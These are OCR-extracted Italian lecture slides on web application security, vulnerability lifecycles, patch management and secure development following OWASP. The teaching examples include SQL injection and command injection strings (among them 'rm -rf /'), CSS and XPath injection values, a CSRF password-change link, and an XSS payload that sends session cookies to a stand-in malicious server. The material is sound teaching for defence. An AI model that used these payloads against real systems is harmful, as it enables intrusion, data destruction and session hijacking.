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Software e piattaforme

* || concetto di vulnerabilita e il suo ciclo di vita
* Sicurezza applicazioni web

» Secure software lifecicle

» Cookie e altri strumenti di profilazione
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Full disclosure come filosofia (dibattito)

https://en.wikipedia.org/wiki/Full _disclosure (comp
uter_security)

Parziale (ne parlo prima con il vendor) o totale (tutto
subito). Pro e contro.

Patching e un costo esterno senza nessun valore per
il produttore

(tipo inquinamento, mi debbono "costringere" a
mettere i filtri per non inquinare).

Fonte: OWASP

https://www.owasp.org/index.php/Testing _Guide _Intr
oduction
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Vulnerabilita

Zero Day Vulnerability

Window of exposure = «
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https://en.wikipedia.org/wiki/Zero-day (computin

9)
Una vulnerabilita scoperta ma non resa pubblica

(nemmeno al produttore).
Solitamente rivendute oppure tenute da parte
per operazioni redditizie (anche governative).
Window of exposure infinita (o almeno finché
gualcuno non se ne accorge).
Business nemmeno piu nascosto
https://zerodium.com/
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Vulnerabilita
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Fonte Flexera Vulnerability review 2018

https://www.flexera.com/media/pdfs/rese
arch-svm-vulnerability-review-2018.pdf
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Vulnerabilita

ZERO-DAY VULNERABILITIES DISCOVERED
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Fonte Flexera Vulnerability review 2018

https://www.flexera.com/media/pdfs/rese
arch-svm-vulnerability-review-2018.pdf
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Vulnerabilita

Figure

26  PDF READER MARKET SHARE/UNPATCHED
SHARE/NUMBER OF VULNERRBILITIES

Vulnerabilities indicate the number of new vulnerabilities in the last 12 months.
Market share is percentage of Personal Software Inspector users
with the product installed on their PC.
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Fonte Flexera Vulnerability review 2017

http://www.flexerasoftware.com/enterpris
e//resources/research/vuInerablllty revie
W

Quindi Acrobat Reader é:
 Diffuso

* Bucato

* Non patchato

Una manna per un attaccante!
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Vulnerabilita

Patch management
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http://en.wikipedia.org/wiki/Patch_(computing)

E' un sottoproblema del configuration management di particolare
impatto sulle metodologie per la sicurezza dei sistemi.

To patch or not to patch?

Questa domanda ha una risposta risolvendo il problema seguente:
il rischio di applicare al sistema la patch € superiore al rischio
della vulnerabilita che la patch corregge?

E' un calcolo difficile e comunque deve essere effettuato all'interno
di una metodologia chiara e ben pianificata.

Una corretta metodologia di patch management
puod essere espressa in varie fasi

. Baseline definition

. Test Environments

Backout Plans

Patch collection and evaluation
Consolidation

Deployment

Reporting

NoOOTRWN S
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Sicurezza e applicazioni web

The definitive guide to all project managers

Houw to ignore it and deliver your project
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Sicurezza e applicazioni web

WHY SoFTWARE REMAINS INSECURE

The societal gains SOFTWARE'S WIN/LOSS LEDGER
provided by all software

H
MUMBER OF PEOPLE HELPED
HLINE SHOPPING
uuuuuuuuuuuuu
VIDED COMFERENCING
GOING TO THE MOOHN .
The societal problems
""""""" nTELHIGENCE caused by bad software
ORD PROCESSING
KPLORING THE SOLAR SYSTEM
rrrrrr
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Basically, software remains vulnerable because
the benefits created by insecure products far
outweigh the downsides. Once that changes,
software security will improve—but not a
moment before.

When we start having complete and long-lasting
Internet outages, companies being knocked
offline for days or weeks and going out of
business, and—most importantly—Ilarge
numbers of people dying, then we’ll see a
serious push for secure software.

Immagine via

https://danielmiessler.com/blog/the-reason-soft
ware-remains-insecure/
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Sicurezza e applicazioni web
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Sicurezza e applicazioni web
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Sicurezza e applicazioni web
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Sicurezza e applicazioni web

*The chain is no woaker than its strongest link”
Phata by Tobied, 2003-03-23 in Slagsta. SE
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Sicurezza e applicazioni web

Il problema di base

Massimo Carnevali - Licenza Creative Commons 4.0: Attribuzione-Condividi allo stesso modo 15

Il problema di base: i servizi web sono esposti al
mondo (e il loro mestiere!).

Le applicazioni sono normalmente custom e
molto complesse.

Spesso viene impiegata una struttura a tre livelli
(web, application, DB, ad esempio LAMP).

SSL non aiuta, anzi ! Induce un falso senso di
sicurezza.

Sviluppo software mercato a bassa marginalita,
chi arriva per primo spesso prende il mercato,
chi vince prende tutto, quindi fretta di andare
online.

Massimo Carnevali - Creative Commons 4.0 International: BY-SA 15



Sicurezza e applicazioni web

Ma quanto posso sbagliare?

Preciso al 99,99999%7 (magari ...)

1 errore ogni 100.000 linee di codice?
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Sicurezza e applicazioni web

Android 12M/loc
Boeing 787  14M/loc
Linux 4.15 21M/loc

LHC 50M/loc
Facebook 61M/loc
Windows 10 65M/loc (ext.)
Auto 100M/loc (ext.)
DNA topo 150M/coppie

Massimo Carnevali - Lice
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http://www.visualcapitalist.com/millions-lines-of-code/
loc=line of code
LHC=Large Hadron Collider

Nota: il genoma del topo ha circa 3.1 Miliardi di
coppie ma di questi solo circa il 5% € DNA-
codificante pari a circa 150M di coppie che
codificano proteine. L'85% di queste 150M di
coppie sono uguali a quelle dell'uomo.
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Sicurezza e applicazioni web

Poi ci sono quelli “oltre”:
Google Codebase (2015)

* oltre 2 miliardi linee di codice

* 86 TB sorgenti

* OM file

* 16K modifiche/day manuali

» 24K modifiche/day autom.

» 25K sviluppatori J‘
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Sicurezza e applicazioni web

External
Users

Un'applicazione web

' XSS, spoofing, sniffing, monitoraggio,
e~ Reverse session hijacking, ...
proxies

Firewall

===l

wrong configuration, PERMIT HTTP(S) ]

Internal
users ”
— | Buffer overflow, format bugs, dir ‘

| traversal, default accts, default install

Web Servers \
Metachars, buffer
overflow, ... bad program
Web application servers '\ logic and
implementation,
3 \ : | wrong
[ sqL | | authorizations,
injection, unmanaged
Backend: command identities, ...
other appservers, DBMS injection
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Sicurezza e applicazioni web

Sicuri come I'anello piu debole
Minimi privilegi
Separazione dei privilegi

Chiamate di sistema
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Sicuri come l'anello piu debole. Attenzione a non
lasciare senza protezione la porta posteriore!

Minimi privilegi. Non cercare di anticipare requisiti del
futuro: ciascun componente e utente deve avere
solo i privilegi strettamente necessari a svolgere |
suoi compiti. (es. Drop table, web server root ecc.)

Separazione dei privilegi. Progettare componenti
diversi che accedono a dati diversi aiuta a
confinare i problemi (ma a volte aumenta la
complessita).

Chiamate di sistema possono trasferire il controllo da
applicazione web a SO. Attenzione. PHP: require(),
include(), eval(), system() ecc.

Java: System.” (System.Runtime)

Massimo Carnevali - Creative Commons 4.0 International: BY-SA



Sicurezza e applicazioni web

Validazione dell'Input e dell'Output.
Gestire gli errori in sicurezza.

KISS (Keep It Simple Secure/Stupid)

Riuso
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Validazione dell'Input e dell'Output. Sono i canali con
cui le informazioni vengono scambiate e possono
trasportare dati invalidi o pericolosi. Se un campo €
definito “testo” non € detto che contenga sempre
“testo”.

Gestire gli errori in sicurezza. Se un meccanismo
fallisce, dovrebbe farlo in modo da evitare di essere
superato esponendo le parti successive e non
dovrebbe fornire troppe informazioni sul suo
fallimento.

KISS (Keep It Simple Secure/Stupid) Un meccanismo
di sicurezza deve essere semplice (sia da
realizzare che da usare e da verificare).

Riuso di componenti gia testati e verificati come
“sicuri”

Massimo Carnevali - Creative Commons 4.0 International: BY-SA



Sicurezza e applicazioni web

Commenti o versioni obsolete
Consentire il listing delle directory

Esporre solo il necessario

Massimo Carnevali - Licenza Creative Commons 4.0: Attribuzione-Condividi allo stesso modo 22

Commenti o versioni obsolete: gli script in produzione
non debbono contenere commenti che possano
aiutare I'attaccante (o in generale meglio che non
ne contengano, esistono script Regex per ogni
linguaggio). Le versioni obsolete non debbono
stare sui server di produzione.

Consentire il listing delle directory: rischio che
vengano esposti file e script non in uso o altri
documenti utili per I'attaccante.

Esporre solo il necessario: verificare con un crawler

che non abbiamo lasciato online qualcosa di
eliminabile.
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Sicurezza e applicazioni web

Data validation

« controllare il tipo
e controllare la sintassi
« verificare la lunghezza
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Data validation

Nella realizzazione di applicazioni web e
fondamentale accettare solamente dati validi e
conosciuti; soluzioni alternative (ad esempio
tentare di correggere i dati) sono piu difficili da
realizzare e meno efficaci.

Occorre percio:

« controllare il tipo

« controllare la sintassi

« verificare la lunghezza

Le validazioni lato client (javascript o java applets)
servono solamente per una prima scrematura dei
dati, che vanno comunque controllati lato server.

| framework di sviluppo vengono in soccorso ma non
risolvono tutti i problemi.

Massimo Carnevali - Creative Commons 4.0 International: BY-SA
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Sicurezza e applicazioni web

Metacharacters
<>1]1&;""*% ?%$@()[] ./
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Metacharacters

Molti caratteri speciali, se presenti nell'input, possono
essere pericolosi e vanno identificati e gestiti:

<> identificano tag HTML

| &; esecuzione comandi

' “* % database queries

? $ @ programmi e script

()] programmi e script

A filesystem paths

Massimo Carnevali - Creative Commons 4.0 International: BY-SA 24



Sicurezza e applicazioni web

Directory traversal

String path = getInputPath();
if (path.startsWith("/safe dir/"))
{
File f = new File(path);
f.delete()

}

Path="/safe dir/../important.dat”
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Esempio Java

In Java usare ad esempio GetCanonicalPath per
gestire path immessi dall’'utente.
CWE-22 - Path Traversal

Massimo Carnevali - Creative Commons 4.0 International: BY-SA
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Sicurezza e applicazioni web

Directory traversal

Security

Dishwasher has directory traversal bug

Thanks a Miele-on for making everything dangerous, Internet of
Things firmware slackers

Proving it for yourself is simple: Using a basic HTTP GET, fetch...

Lol e e e Y S e e shadew

...from whichever IP address the dishwasher has on your network to reveal the shadow
password file on its file system. That's pretty sad.
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Attacco directory traversal
Ettps://en.wikipedia.org/wiki/Directory_traversal_attac

Consente di percorrere il file system del web server
usando i caratteri speciali e privilegi non impostati
correttamente.

https://www.theregister.co.uk/2017/03/26/miele_joins
_internetofst_hall _of shame/
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Sicurezza e applicazioni web
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Minimi privilegi

Un’applicazione dovrebbe collegarsi al database con
un utente specifico e dotato dei soli privilegi
sufficienti alle sue necessita (leggere, aggiornare,
ecc).

Di frequente si utilizzano invece utenti ad elevati
privilegi rendendo semplicemente piu probabile la
perdita o I'alterazione di dati in caso di SQL
injections o altri attacchi: la facolta di eseguire una
istruzione “drop table”, ad esempio € inutile e
dovrebbe essere inibita specificando i giusti
privilegi per l'utente usato per la connessione.

Massimo Carnevali - Creative Commons 4.0 International: BY-SA
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Sicurezza e applicazioni web

Fidarsi ?

In God we Trust.
All others must submit a valid X.509 certificate.

Massimo Carnevali - Licenza Creative Commons 4.0: Attribuzione-Condividi allo stesso modo 28

(Attribuzione incerta) Charles Forsythe?

Mai fidarsi dell'input dell’'utente (vedi injection), mai
fidarsi dell’'output che produciamo (vedi XSS).
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Sicurezza e applicazioni web

OWASP Top 10 — 2017 (New)

Al - Injection
A2 — Broken Authentication and Session Management

A3 — Cross-Site Scripting (XSS)
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| tre tipi di attacchi applicativi piu diffusi

https://www.owasp.org/index.php/Category:OWASP_

Top_Ten_Project

Il primo e il terzo li vedremo in dettaglio, il secondo di
fatto & un attacco ai cookie o ai token di sessione.

Del primo il piu diffuso € SQL injection ma anche
LDAP, XML parser, noSQL ecc.

Massimo Carnevali - Creative Commons 4.0 International: BY-SA
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Sicurezza e applicazioni web

Esempio base di SQL Injection

Inserisci 1 tuoil dati

Utente:

Password:

Entra »
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https://en.wikipedia.org/wiki/SQL _injection

SQL Injection

|'attacco applicativo piu diffuso.

Viene iniettato codice malevolo sfruttando i campi di
input di form, query ecc.

Se l'application server usa l'input dell'utente
inserendolo direttamente nelle SQL query che
esegue, e potenzialmente vulnerabile ad un attacco
di SQL code injection.

Vediamo un esempio semplificato passo-passo.

Massimo Carnevali - Creative Commons 4.0 International: BY-SA
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Sicurezza e applicazioni web

Esempio base passo passo

<form action='login.php' method='post'>

Username: <input type='text' name='user'
Password: <input type='password' name='pwd'

<input type='submit' value='Login' />
</form>

Massimo Carnevali - Licenza Creative Commons 4.0: Attribuzione-Condividi allo stesso modo
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Sicurezza e applicazioni web

Esempio base passo passo

<?php
Squery = "SELECT * FROM users WHERE user='".
$ POST['user']."' AND pwd='".

$ POST['pwd']."';";

$sql = mysql_query ($query, $db) ;
if (mysql affected rows ($sql)>0)
{

// Consenti l'accesso

}
?>
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Sicurezza e applicazioni web

Esempio base passo passo
/login.php?user=pippo&pwd=pluto
"SELECT * FROM users WHERE user='".
$ POST['user']."' AND pwd='".

$_POST[ vadv] L ,.n

select * from users where user=
'pippo'and pwd='pluto';
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Sicurezza e applicazioni web

Esempio base passo passo
/login.php?user=a' or 1=1 -- &pwd=
"SELECT * FROM users WHERE user='".
$ POST['user']."' AND pwd='".

$_POST['pwd']."';"

select * from users where user='a'
--'and pwd="'";

or 1=1

Massimo Carnevali - Licenza Creative Commons 4.0: Attribuzione-Condividi allo stesso modo
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Sicurezza e applicazioni web

Esempio base passo passo

/login.php?user=a'; drop table users;

&pwd=

"SELECT * FROM users WHERE user='".
$ POST['user']."' AND pwd='".
$_POST[ 'de'] L ,.n

select * from users where user='a';

table users; --'and pwd="''"

Massimo Carnevali - Licenza Creative Commons 4.0: Attribuzione-Condividi allo stesso modo
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Sicurezza e applicazioni web

Poi c’é chi proprio ti da una mano...

vendereaicinesi.it/ricerca-annunci?category=x

Home Page | Chi Siamo | Dicono di nol | Tariffario | FAQ | Viendi anche in Cina | Perché 42,50 | Dove pubblichiamo

VENDEREAICINESLIT

0173/1996256
TRADUZIOME £ PUBBLICAZIO ME ot ANNUNCI LUN-VEN 10-13/14-17
1a? La prova di Repubblica Comiere.it : I Cinesi corrono a comprare immobili in Italia
Categoria

Sottocategoria

Regione
--- Tutte -

vl - Tutte —

* f — Tutte —

SQLSTATE[42522]: Column not found: 1054 Unknown column "' in 'where clause', query was: SELECT
COUNT(1) AS "zend_paginator_row_count™ FROM (SELECT DISTINCT “a"."id", "ad . name” AS
“title”, “ad”. description”, “adc’. name” AS “title_ch’, “adc’." description” AS description_ch”,

‘lp*. name” AS “province’, “lc’. name’ AS “city’, “a’. date_publish”, "a’." price’, "a".  privacy”,
a'.'find" FROM “adv' AS “a’ LEFT JOIN "adv_description’ AS “ad® ON ‘a’."id" = “ad’.’id_adv"

AND "a"."id_language’ = “ad".’id_language’ LEFT JOIN "adv_description™ AS "adc” ON

adc’.’id_adv™ = "a"."id" LEFT JOIN "local_region™ AS “Ir” ON "a"."id_region” = "Ir"."id" LEFT
JOIN “local_province™ AS “Ip” ON “a’. id_province™ = “Ip"."id" LEFT JOIN "local_city” AS “lc” ON
“a’.vid_city” = "lc"."id" LEFT JOIN "adv_attribute_value™ AS “aav" ON “aav’.’id_adv’ = "a’.’id"
LEFT JOIN "adv_to_adv_category™ AS "atc” ON "a’.’id" = "atc’."id_adv" WHERE
(*adc™."id language™ = 2) AND (*a’.’id_adv_status™ = '4') AND (*a’." published” = 1) AND
("a’. date_expiration” >= NOW()) AND (" atc". id_adv_category” = x) AND ("Ir". id_country” = 1)
AND (*a’. privacy” = 0)) AS 't
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Sicurezza e applicazioni web

HI, THIS 15

YOUR SON'S SCHOOL.
WERE HAVING SOME
COMPUTER TROUBLE.

‘\%m

OH, DEAR - DID HE
BREAK SOMETHING?

IN A WAY -

i

DID YOU REALLY
NAME YOUR SON
Robert'); DROP
TABLE Studerts;—- 7

~OH.YES UTTLE
BOBBY TABLES,
WE CALL HIM.

WELL, WEVE LOST THIS
YEAR'S STUDENT RECORDS.
I HOPE YOURE HAPPY.
‘I] AND I HOFE
~~ YOUVE LEARNED
TO SANMIZE YOUR
DATABASE INPUTS.

https://xkcd.com/327/

Massimo Carnevali - Licenza Creative Commons 4.0: Attribuzione-Condividi allo stesso modo 37

https://xkcd.com/327/
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Sicurezza e applicazioni web

I‘?
N

Uhh yeah, I'm looking for a Mr. Jones,
first name ";DROP TABLE *;-- L - m—
Yo, is there a SELECT * FROM Drunks WHERE
Hame="";DROF TABLE *;-- Jones" here?

Ok, let me just check.
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Anche i Simpson!
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Sicurezza e applicazioni web

N &
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Poi c’e il genio assoluto.
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Sicurezza e applicazioni web

Non solo SQL Injection:
Xpath
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Non solo SQL injection ma anche XML, sempre se
non viene validato I'input

Massimo Carnevali - Creative Commons 4.0 International: BY-SA
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Sicurezza e applicazioni web

<?xml version="1.0" encoding="utf-8" 2>
<ordini>

<cliente id="1">

<name>Massimo Carnevali</name>
<email>pippo@pluto.it</email>
<creditcard>1234567812345678</creditcard>
<ordine>

<oggetto>

<quantity>1</quantity>
<prezzo>10.00</prezzo>
<name>Calzini</name>

</oggetto>

</ordine>

</cliente>

A string query = "/ordini/cliente[@id='" +

</ordini> . . o
customerId + ]/ordine/oggetto[prezzo >= +
priceFilter + "']";

"1'I /* | /foolbar="
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Esempio semplificato di XML Injection.

Piu in generale si parla di “Code Injection”
https://en.wikipedia.org/wiki/Code injection

E si applica, ad esempio, anche a LDAP e CSV
(

https://www.contextis.com/blog/comma-separated-v
ulnerabilities

)

Pagina utile per verificare cosa manda il nostro
programmal/client al server web:
https://requestb.in/
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Sicurezza e applicazioni web

HTML Injection per
generare prompt di logon

T R R EEEREY WO WO R TLTIS my RSETLY TIET [ mg

Kloud login

T
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Quando si parla di HTML injection di solito si intende

XSS.

Esempio particolare, usare una mail formattata html

per iniettare codice che, all’apertura della mail
simula un prompt di logon a iTunes.

https://www.youtube.com/watch?v=9wiMG-ogKf0

Massimo Carnevali - Creative Commons 4.0 International: BY-SA
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Sicurezza e applicazioni web

Command Injection

SuserName = $ POST["user"];
Scommand = 'ls -1 /home/' . SuserName;

system ($Scommand) ;

user = “; rm -rf /”
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Command injection, quando il codice web richiama
comandi di sistema (con che privilegio gira
I'applicazione?)

CWE-78 - OS Command Injection

Massimo Carnevali - Creative Commons 4.0 International: BY-SA
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Sicurezza e applicazioni web

CSS Injection

Edit your profile

Username

Email

pippo@pluto.it

Avatar

Scegli file |Nessun file selezionato

Customize Your Color Hex (BA26FF9)

#8ce14e;-o-link:'javascript:alert(1)';-o-link-source:current;
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CSS injection, anche il CSS puo veicolare un attacco
(immagine trasparente sovrapposta, esecuzione di
script con vecchi browser, raccolta di info dal
browser ecc.).

Rischio quando consento all’'utente di fare
personalizzazioni sulla pagina che poi si riflettono
sul CSS. e.g. Avatar che vengono caricati ogni
volta che commento.

https://www.owasp.org/index.php/Testing_for CSS |
njection_(OTG-CLIEI\?T—OOS

)

https://www.curesec.com/blog/article/blog/Reading-D
ata-via-CSS-Injection-180.htm|
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Sicurezza e applicazioni web

Cross-site scripting
(CSS o XSS)

Massimo Carnevali - Licenza Creative Commons 4.0: Attribuzione-Condividi allo stesso modo 45

http://en.wikipedia.org/wiki/Cross-site_scripting

Terza vulnerabilita applicativa come diffusione.

Un’applicazione viene identificata come
potenzialmente vulnerabile al XSS quando emette
in output del codice HTML non verificato e
contenente dati immessi in input dal client.

Questo permette all'attaccante di inserire del codice
attivo (script, Java, ActiveX) nei documenti inviati al
client senza modificare niente sul server ma
usandolo solo come “sponda”.

Con varie tecniche (via mail, su web, ecc) si induce
I'utente a visitare pagine web di quel server
contenenti codice HTML malevolo senza che questi
se ne accorga.
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Sicurezza e applicazioni web

Cross-site scripting
(CSS o XSS)

codice PHP su http://server_vulnerabile/index.php
<?php echo "Hello, {$HTTP_GET_VARS['name'}!"; ?>

Exploit:

http://server_vulnerabile/index.php?
name=<script>document.location.replace('http://
server_cattivo/stole.cgi?text="+document.cookie)</script>

Massimo Carnevali - Licenza Creative Commons 4.0: Attribuzione-Condividi allo stesso modo 46
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Varie tecniche di attacco. Quello non persistente
lavora senza bisogno di aver accesso in scrittura al
server web.

Se riesco a scrivere sul web posso rendere l'attacco
persistente e generalizzato.

Posso avere un sito “protetto” ma che presenta un
widget vulnerabile di un sito terzo utilizzabile per
I'attacco.

Nelllesempio l'idea e che “server_vulnerabile” chieda
all’'utente il suo nome e lo saluti con un messaggio
personalizzato. |l parametro “name” pero non e
controllato e viene usato cosi come €.

Massimo Carnevali - Creative Commons 4.0 International: BY-SA
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Sicurezza e applicazioni web

Cross-site scripting

Alice . ° | .
Server_vulnerabile

4

3

1 v

. Server_cattivo
Bob /
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Bob manda una mail ad Alice (1) con il link al codice
infettato.

Alice clicca sul link che viene eseguito sul server
vulnerabile (2) che lancia uno script sul server
cattivo (3).

Lo script di server cattivo, lanciato con l'autorita di
server vulnerabile, prende dal client di Alice il
cookie di sessione (4) e lo manda a Bob (5).

Bob utilizza il cookie di sessione per impersonare
Alice su server vulnerabile (6)

“Ma io elimino il tag <script> dall'input!”
<scr<script>ipt> :-)

https://www.owasp.org/index.php/XSS_Filter _Evasio
n_Cheat_Sheet
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Sicurezza e applicazioni web

Cross-site Request Forgery

* Sito xxx.com richiede autenticazione
* Poi si fida di quello che arriva dal browser
* Spingo l'utente a clickare su link malevolo tipo:

http://xxx.com/gui/?action=setsetting&s=webui.pas
sword&v=eviladmin

* Eseguo azione a mio favore oppure lancio script
malevolo da altro sito
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Comandi inviati da un utente di cui il sito si fida
https://en.wikipedia.org/wiki/Cross-site_request_forge
ry

|'attaccante forza I'utente a dare un comando con la
sua autorita ma senza rendersene conto.

Es. Alice amministratore sito example.com, le mando
un link/pagina web ecc. che forza esecuzione
comando su example.com con i suoi privilegi ma
che compie un’azione che fa comodo a me (tipo
“cambia password amministratore”)

Problema, basta una GET per fare un’azione
amministrativa se cookie di sessione € ok (RFC
2616 dice di non farlo)

CWE-345 e dintorni: Insufficient Verification Of Data
Authenticity

Ecco perché ogni tanto i siti ti richiedono la password
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Sicurezza e applicazioni web

Mancata gestione della concorrenza
(un codice ok se eseguito
sequenzialmente attaccabile se non
gestisce il parallelismo)
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Mancata gestione della concorrenza

(un codice ok se eseguito sequenzialmente
attaccabile se non gestisce il parallelismo)

CWE-362

Hanno bucato Starbucks:

https://sakurity.com/blog/2015/05/21/starbuc
ks.html

Usare gli strumenti di gestione della
concorrenza messi a disposizione dai
linguaggi/framework.
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Secure software lifecicle

Lo scenario

*Non esistono tecniche di audit automatico
* Analisi delle variazioni delle “baseline”

* Analisi del codice sorgente

* Analisi “greybox”

* Analisi “blackbox”

* Ambienti di test separati interni
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Secure software lifecicle

Security/privacy
By
Design/default

Massimo Carnevali - Licenza Creative Commons 4.0: Attribuzione-Condividi allo stesso modo 51

Ce lo dice il buon senso, ce lo impone il GDPR.
Integrazione della sicurezza in tutto il ciclo di vita del
progetto.

Gestione, requisiti, obiettivi, metodologia, test, soldi,
skill, i tool ecc. tutti visti (anche) in ottica di
sicurezza.

Systems Development Life Cycle (SDLC) Policy.

Non esiste “il progetto e la sua sicurezza”, deve
essere un unicum con | temi della sicurezza inseriti
dentro ai ciclo di vita.

Banalmente non deve esistere un “documento della
sicurezza” separato.

Attuare la protezione del dato fin dal momento in cui
un trattamento viene progettato e definito.
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Secure software lifecicle

Figure 1: Relative Costs to Fix Software Defects (Source: IBM Systems
Sciences Institute)

—

Desig Implementabion Testing Maintenance

Phase/Stage of the S/'W Development in Which the Defect is Found
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Tenere conto della sicurezza solo alla
fine (Qquando cioe il problema emerge
iIn produzione) ha un costo elevato.
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Secure software lifecicle

Figure 3: Origin of Software Defects (Source: Crosstalk, the
Journal of Defense Software Engineering)

Requirement Analysis

and Dasign Phaso
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Secure software lifecicle

Inserire la sicurezza in tutto
Il percorso di sviluppo
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Prevedere fin dall’inizio anche i requisiti di sicurezza:

* Analizzare tutte le esigenze degli stakeholder
(possibilmente anche quelle sottintese), sia di
quelli interni che di quelli esterni (futuri utenti
finali, concorrenza ecc.)

Valutare I'impatto del contesto in cui ci si va a
collocare

Valutare le minacce correnti e passate

Appoggiarsi agli standard e alle normative vigenti

Valutare i rischi e costruire i corrispondenti modelli
degli attacchi

Tenere conto della sicurezza anche nelle scelte
tecnologiche (prodotti, protocolli, hardware ecc.)

Costruire fin dall'inizio un modello di gestione
dell'incidente specifico del processo
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Secure software lifecicle

Inserire la sicurezza in tutto
Il percorso di sviluppo
(anche dopo la fine dello sviluppo)
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Finito lo sviluppo continuare con la fase di test:

* Aggiungere nelle checklist anche le verifiche di
sicurezza

Far svolgere pen-testing ad una terza parte

Strumenti di Secure Code Review e Software
Quality Management

(a volte si trovano sorprese)
Documentare, documentare, documentare
percheé ...

Massimo Carnevali - Creative Commons 4.0 International: BY-SA

Usare web spider per mappare siti, cgi, script ecc.

95



Secure software lifecicle

Nota:
bug di design
VS
bug di implementazione
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Bug di design: Diffusi nel sistema, complessi e
costosi, subdoli e infrequenti

Bug di implementazione: locali e patchabili, semplici
e testabilli, ricorrenti e ubiqui

Prevenire i bug di implementazione usando costrutti
sicuri (metodologia Poka Yoke, “a prova di
scimmia”, inventata da Toyota, progettare i pezzi in
modo che sia impossibile montarli in modo
sbagliato) https://it.wikipedia.org/wiki/Poka-yoke

Massimo Carnevali - Creative Commons 4.0 International: BY-SA
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Secure software lifecicle

“Security through Obscurity”
NON FUNZIONA!

Massimo Carnevali - Licenza Creative Commons 4.0: Attribuzione-Condividi allo stesso modo 57

Ricordarsi che “Security by obscurity” non funziona.
| problemi vanno risolti (sperare che non vengano
scoperti non funziona nel lungo termine).

(hanno trovato in 24 ore una bandiera piantata nel
nulla delle praterie americane ...

https://www.newyorker.com/magazine/2017/04/03/trol
|s-protest-shia-labeoufs-anti-trump-protest-art

)
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Secure software lifecicle

Tecniche di mitigazione

* |dentificare i security requirement
* Liste di controllo

* Linee guida

* Generare “abuse case”

* Generare security patterns

« Simulare modelli di attacco

* Framemork di sviluppo sicuro

* KISS

Massimo Carnevali - Licenza Creative Commons 4.0: Attribuzione-Condividi allo stesso modo
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Secure software lifecicle

L'applicazione ideale

* Semplice da usare e ricca di funzioni
* Prezzo ragionevole
» Sicura

Massimo Carnevali - Licenza Creative Commons 4.0: Attribuzione-Condividi allo stesso modo
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Secure software lifecicle

L'applicazione ideale

* Semplice da usare e ricca di funzioni
* Prezzo ragionevole
» Sicura

Nella vita reale

... Puoi sceglierne due su tre ...
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Secure software lifecicle

Sviluppo in casa (make)

Predisporre un disciplinare
Imporre degli standard
Liste di controllo

Security testing
Coinvolgere terze parti

Compero un pacchetto gia fatto (buy)

* |Ispezionare i sorgenti (aperti, quindi FOSS) oppure ... devi
fidarti

Massimo Carnevali - Licenza Creative Commons 4.0: Attribuzione-Condividi allo stesso modo 61

FOSS=Free and Open Source Software
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Secure software lifecicle

Massimo Carnevali - Licenza Creative Commons 4.0: Attribuzione-Condividi allo stesso modo 62

Il problema delle librerie

Applicazione di OWASP per verificare le
vulnerabilita delle dipendenze (vedi
dopo).
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Secure software lifecicle

Esempio di disciplinare tecnico in materia di sicurezza delle applicazioni informatiche
2. Applicabilita

3. Principi generali
3.1 Applicazioni sicure
3.2 Architettura applicativa

4. Design e sviluppo dell'applicazione
4.1 Analisi dei requisiti e design
4.2 Autenticazione
4.3 Autorizzazione
4.4 Validazione dei dati
4.5 Gestione delle sessioni utente
4.6 Logging
4.7 Crittografia e disponibilita dei dati

5. Test, deployment e gestione dell'applicazione

6. Requisiti minimi previsti dalla normativa vigente
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Esempio di disciplinare tecnico in materia di sicurezza
delle applicazioni informatiche.

DISCIPLINARE TECNICO IN MATERIA DI SICUREZZA
DELLE APPLICAZIONI INFORMATICHE NELLA
GIUNTA E NELL'ASSEMBLEA LEGISLATIVA DELLA
REGIONE EMILIA-ROMAGNA

Massimo Carnevali - Creative Commons 4.0 International: BY-SA
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Secure software lifecicle

Appendice B: Liste di controllo

B.1 Design e sviluppo dell'applicazione

Analisi dei reguisiti e design

Nell'analisi dei requisiti & stato considerato il valore dei dati e delle informazioni
trattate dall'applicazione

L'applicazione viene utilizzata per il trattamento di dati personali

L'applicazione viene utilizzata per il trattamento di dati sensibili e/o giudiziari

E stata eseguita I'analisi dei rischi incombenti sui dati

Sono stati considerati i vincoli architetturali e tecnologici imposti dall'infrastruttura
esistente (servizi, porte, protocolli, tecnologie, ecc.)

Sono state documentate le porte ed i protocolli di comunicazione utilizzati
dall'applicazione

Sono stati definiti|i requisiti hardware e software necessari per il corretto
funzionamento dell'applicazione

Sono stati previsti meccanismi di autenticazione degli utenti

Sono stati previsti meccanismi di autorizzazione e profilatura utenti

Sono stati previsti meccanismi di validazione dei dati in ingresso e in uscita
Sono stati previsti meccanismi di gestione sicura delle sessioni utente

Sono stati previsti meccanismi di conservazione e gestione dei log

Sono stati previsti meccanismi di disponibilita dei dati

Sono stati previsti meccanismi di cifratura dei dati

[ I o g |

[

oo |0j|o|0|0|0
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Esempio di disciplinare tecnico in materia di sicurezza
delle applicazioni informatiche
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Secure software lifecicle
Checklist ben fatta: Securing Web Application Technologies

SANS SCNNT Securing Web Application Technologies
[SWAT] Checklist

The SWAT Checklist provides an easy to reference set of best practices that raise awareness and help development teams create more secure applications. It's a first
step toward building a base of security knowledge around web application security. Use this checklist to identify the minimum standard that is required fo neutralize
vulnerabilities in your critical applications.

ERROR HANDLING AND LOGGING

BEST PRACTICE DESCRIPTION
Display Generic Error Error messages should not reveal details about the intarnal state of the CWE-209
Messages application. For example, file system path and stack information should not be

expesed to the user through error messages.

No Unhandled Exceptions Given the languages and frameworks in use for web application development, CWE-391
never allow an unhandled exception to eccur. Error handlers should be
configured to handle unexpected errors and gracefully return controlled output

to the user
Suppress Framework Your development framework or platform may generate default error CWE-209
Generated Errors messages. These should be suppressed or replaced with customized eror

as framework generated may reveal sensitive information

to the user.
Log All Authentication Any authentication activities, whether successful or not. should be logged CWE-778
Activities
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https://securingthehuman.sans.org/secur
ity-awareness-training/swat

CWE= Common Weakness Enumeration
Circa 800 identificate.

Spiegazione, catalogazione e viste qui:
http://cwe.mitre.org/data/index.html
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Secure software lifecicle

OWASP
Open
Web Application
Security Project
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OWASP: https://www.owasp.org/
Organizzazione internazionale non a scopo di lucro

dedicata a promuovere lo sviluppo di software

sicuro tramite:

Documentazione (Top Ten, Dev. Guide, Design
Guide, Testing Guide, ...)

Software

Gruppi Di Lavoro

Coinvolgimento delle comunita

Formazione, convegni, congressi

55.000 partecipanti, 93 progetti attivi, 270 chapter

locali
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Secure software lifecicle
Come si colloca OWASP nel SDLC

Guide Per Progettare
Applicazioni Sicure

. ; . . . Strumenti Guida Per
Documentazione Dei Modelli Delle Minaccie e Security
e el per |'analisi
Requisiti E Dei Rischi , Test e
: . . statica del
Security Testing Guide _ N Strumenti
OWASP Q ?:;?a Per | 7;1 Test\
LN N Y| ¥ | I/ - 1N
I I I A I
Requisiti Verifi
e cases Design  Testplans odice  ERisqitati  Feedback
